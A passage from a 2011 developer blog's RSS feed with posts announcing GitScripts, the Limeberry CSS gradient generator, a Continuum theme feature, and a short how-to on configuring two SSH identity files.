<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/7d8ca17c-f9f1-4233-9802-410554f34c3f/2011-10-23_0000.png" alt="User Ratings, OPTIONS!!!!" /><br />
<img src="http://rookery9.aviary.com.s3.amazonaws.com/10461500/10461627_3d54.png" alt="User Ratings!" /></p>
<p>That&#8217;s right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both coming 11/01/11)</p>
<p>Haven&#8217;t settled on the price yet, probably between $50 and $100 depending on how much longer it takes&#8230;</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/bQnMOtJPHAs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/teaser-of-things-to-come/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/teaser-of-things-to-come/</feedburner:origLink></item>
		<item>
		<title>I Am Your Grandma</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/fnQFvc4fBP4/</link>
		<comments>http://blog.chomperstomp.com/i-am-your-grandma/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 04:26:17 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[movies]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=850</guid>
		<description><![CDATA[This is a test to illustrate youtube video embeds in the continuum front-page slider feature. And yes, this is probably the most bizarre thing I have ever seen; other than the movie &#8220;Being John Malchovich&#8221;.]]></description>
			<content:encoded><![CDATA[<p>This is a test to illustrate youtube video embeds in the continuum front-page slider feature.</p>
<p>And yes, this is probably the most bizarre thing I have ever seen; other than the movie &#8220;Being John Malchovich&#8221;.</p>
<p><iframe width="560" height="349" src="http://www.youtube.com/embed/YfY1lfFu8j8" frameborder="0" allowfullscreen></iframe></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/fnQFvc4fBP4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/i-am-your-grandma/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/i-am-your-grandma/</feedburner:origLink></item>
		<item>
		<title>Introducing GitScripts</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/R-egjaBv32Y/</link>
		<comments>http://blog.chomperstomp.com/introducing-gitscripts/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 02:27:09 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[project management]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[extensions]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=796</guid>
		<description><![CDATA[GitScripts is a project that attempts to make Git user friendly. I have been working on it for almost a year now. When we implemented Git in my office, we were having a really hard time using it. We loved the flexibility of the tool, but the interface was killing us. Doing something that should [...]]]></description>
			<content:encoded><![CDATA[<p>GitScripts is a project that attempts to make Git user friendly.</p>
<p>I have been working on it for almost a year now. When we implemented Git in my office, we were having a really hard time using it. We loved the flexibility of the tool, but the interface was killing us. Doing something that should have been simple (merging one branch into another) was much too complex. Especially for people who were already struggling to remember how to use CVS through a GUI. These were very competent Java developers who just didn&#8217;t have time to learn a new complex tool, but recognized we needed it.</p>
<p>One day my co-worker jokingly demanded that I write a set of wrapper scripts that would make the merge command comprehensible (he continually tried to merge one branch into another by checking out the branch he wanted to merge FROM and typing &#8220;git merge branch_to_merge_to&#8221;, which had the disastrous result of silently doing the exact OPPOSITE of what he was trying to do. At which point he would happily push to origin. This would result in a lot of lost time, especially if we didn&#8217;t catch it right away. When you are already expending a lot of brain power on a ATG/ReD/PayPal integration project, you just don&#8217;t have anything left for learning a new SCM.). So I thought about it and realized that it SHOULDN&#8217;T MATTER what branch you are on, you should just be able to tell Git what you want to happen (merge branch1 into branch2) and Git should intelligently DO IT and then put you back where you were. So I made it happen.</p>
<p>This project is under continual development. I add something new to it every week as I find a new Git task pattern that I can automate. It finally got to the point where I couldn&#8217;t stand using Git without GitScripts, so I stripped out all of the company specific pieces and threw the whole thing up on GitHub. I&#8217;m hoping that much smarter people than me can take this code and run with it and make it even more amazing. See the <a href="http://blog.chomperstomp.com/projects/gitscripts/">project page</a> for some very basic documentation (more to come, haha, as always&#8230;) or, better yet, pop open the <a href="https://github.com/cmcculloh/GitScripts">github repository </a>and view the &#8220;<a href="https://github.com/cmcculloh/GitScripts/blob/master/bash_profile_config">bash_profile_config</a>&#8221; file to see all of the different commands (aliases) currently available.</p>
<p>Let me know what you think! Post any bugs/questions/feature requests on the project page please.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/R-egjaBv32Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/introducing-gitscripts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/introducing-gitscripts/</feedburner:origLink></item>
		<item>
		<title>Updates – Tab Edit 1.4, Abandoning JS Console, Limeberry news</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/JVPvKHN243s/</link>
		<comments>http://blog.chomperstomp.com/updates-tab-edit-1-4-abandoning-js-console-limeberry-news/#comments</comments>
		<pubDate>Sun, 29 May 2011 03:42:14 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[extensions]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=788</guid>
		<description><![CDATA[It&#8217;s apparently Code Blitz week here at Chomperstomp.com HQ. We&#8217;ve seen 5 blog posts in the last week, and code commits to no less than 4 open source projects (plus tons behind the scenes that I won&#8217;t talk about just yet, but some neat stuff is coming&#8230;) I finally fixed the Tab Edit Chrome Extension. [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s apparently Code Blitz week here at Chomperstomp.com HQ. We&#8217;ve seen 5 blog posts in the last week, and code commits to no less than 4 open source projects (plus tons behind the scenes that I won&#8217;t talk about just yet, but some neat stuff is coming&#8230;)</p>
<p>I finally fixed the <a href="https://chrome.google.com/webstore/detail/hnpmcokdebcinajfhhnlgpijgaapkopp?hl=en-US">Tab Edit Chrome Extension</a>. Update and click &#8220;Restore Defaults&#8221; and it will work again. Still working on the problem of it not persisting the favicon selection though.</p>
<p>I have officially abandoned work on the <a href="http://blog.chomperstomp.com/projects/chrome-javascript-console/">JS Console Chrome Extension</a>. It&#8217;s absolutely pointless. Just hold shift when you hit enter while using the native JS Console and you can get multi-line functionality. That was the whole point of JS Console, so once I discovered this, I abandoned the project. I forgot to ever let anyone know though, so this is me making it official. I&#8217;ve made notes in all other relevant places as well.</p>
<p><a href="http://chomperstomp.com/limeberry/">Limeberry</a> is coming along just swell. I&#8217;ve made some major improvements today. Gradient history swatches that when you hover over you can retrieve previous gradient code. Ditched all the PHP based code in favor of JS. Gave ability to change the number of gradient stops on the fly without a page reload (still doesn&#8217;t preserve your previous stops/colors). LOTS more work to come on this. The more observant of you may notice that I&#8217;m updating the URL on the fly as you make changes. Yes, that&#8217;s right, very very soon you will be able to bookmark swatches you create (or email/IM links) so you can save/load swatches. This is the project I&#8217;m most excited about right now, so this will be getting some love over the next few weeks. I&#8217;m hoping to turn this into a really nifty tool and even plop down the $10 I need to get it it&#8217;s own domain. I&#8217;ve possibly even got another dev on board to design the page (rather than it just being ugly as hell the way it is now). Much much more to come&#8230;</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=JVPvKHN243s:SnNgo8BNuAc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=JVPvKHN243s:SnNgo8BNuAc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=JVPvKHN243s:SnNgo8BNuAc:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=JVPvKHN243s:SnNgo8BNuAc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=JVPvKHN243s:SnNgo8BNuAc:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/JVPvKHN243s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/updates-tab-edit-1-4-abandoning-js-console-limeberry-news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/updates-tab-edit-1-4-abandoning-js-console-limeberry-news/</feedburner:origLink></item>
		<item>
		<title>Introducing Limeberry</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/HjywENr0XcQ/</link>
		<comments>http://blog.chomperstomp.com/introducing-limeberry/#comments</comments>
		<pubDate>Fri, 27 May 2011 18:15:40 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[prototyping]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[Styles]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=773</guid>
		<description><![CDATA[Limeberry is a CSS 3 Finely Granular Color Gradient Generator. It allows you to input very precise (up to the nth decimal) numeric values to be used as your gradient color stops. Choose how many color stops you want and then define what colors you want at those stops. &#160; This is definitely early beta. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://chomperstomp.com/limeberry/">Limeberry is a CSS 3 Finely Granular Color Gradient Generator</a>. It allows you to input very precise (up to the nth decimal) numeric values to be used as your gradient color stops. Choose how many color stops you want and then define what colors you want at those stops.</p>
<p>&nbsp;</p>
<p>This is definitely early beta. It&#8217;s functional, but only just (but hey, I did it in an hour over my lunch break).</p>
<p>&nbsp;</p>
<p>Check out <a href="http://blog.chomperstomp.com/projects/css-3-granular-color-gradient-generator-limeberry/">the project page</a> to see the roadmap and for info on how to contribute (this is an open source project).</p>
<p>&nbsp;</p>
<p>This was developed with Chrome, but early testers have informed me it works with Firefox and Opera as well (yay!).</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=HjywENr0XcQ:lx4jD0jl1Hk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=HjywENr0XcQ:lx4jD0jl1Hk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=HjywENr0XcQ:lx4jD0jl1Hk:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=HjywENr0XcQ:lx4jD0jl1Hk:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=HjywENr0XcQ:lx4jD0jl1Hk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/HjywENr0XcQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/introducing-limeberry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/introducing-limeberry/</feedburner:origLink></item>
		<item>
		<title>Using two different identity files with ssh for rsa remote authentication keys</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/90sMHVDDjo4/</link>
		<comments>http://blog.chomperstomp.com/using-two-different-identity-files-with-ssh-for-rsa-remote-authentication-keys/#comments</comments>
		<pubDate>Wed, 25 May 2011 20:06:24 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[project management]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[remote key authentication]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=735</guid>
		<description><![CDATA[I have two different servers I need to connect to, each requiring two different types of remote authentication keys. One requires rsa, the other dss. So I had to make and use two different remote authentication keys, but was unsure as to how to tell my machine to serve them both up. It was, by [...]]]></description>
			<content:encoded><![CDATA[<p>I have two different servers I need to connect to, each requiring two different types of remote authentication keys. One requires rsa, the other dss. So I had to make and use two different remote authentication keys, but was unsure as to how to tell my machine to serve them both up. It was, by default, just serving up the rsa key.</p>
<p>What I had to do was create a file called &#8220;config&#8221; (NO file extension) in the ~/.ssh directory on my machine. I then put two lines in this file:</p>
<p><code>IdentityFile ~/.ssh/id_rsa<br />
IdentityFile ~/.ssh/id_dss</code></p>
<p>It works like a charm.</p>
<p>For the curious, I&#8217;m on windows using the git bash that comes built in with git (NOT cygwin). My ~/.ssh directory looks like this:<br />
<img alt="" src="http://content.screencast.com/users/cmccullo/folders/Jing/media/42435e78-1696-4fc7-b11c-627189311a52/2011-05-25_1559.png" title="~/.ssh" class="alignnone" width="145" height="158" /></p>
<p>I generated these RSA keys with a command similar to this:</p>
<p><code>ssh-keygen -t dss -f ~/.ssh/id_dss</code></p>
<p>And copied and pasted the contents of the id_rsa.pub (and id_dss.pub) files into the appropriate place (something like ~/.ssh/authorized_keys) on the remote servers.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=90sMHVDDjo4:JoHxOnjsidk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=90sMHVDDjo4:JoHxOnjsidk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=90sMHVDDjo4:JoHxOnjsidk:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=90sMHVDDjo4:JoHxOnjsidk:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=90sMHVDDjo4:JoHxOnjsidk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/90sMHVDDjo4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/using-two-different-identity-files-with-ssh-for-rsa-remote-authentication-keys/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/using-two-different-identity-files-with-ssh-for-rsa-remote-authentication-keys/</feedburner:origLink></item>
	</channel>
</rss>

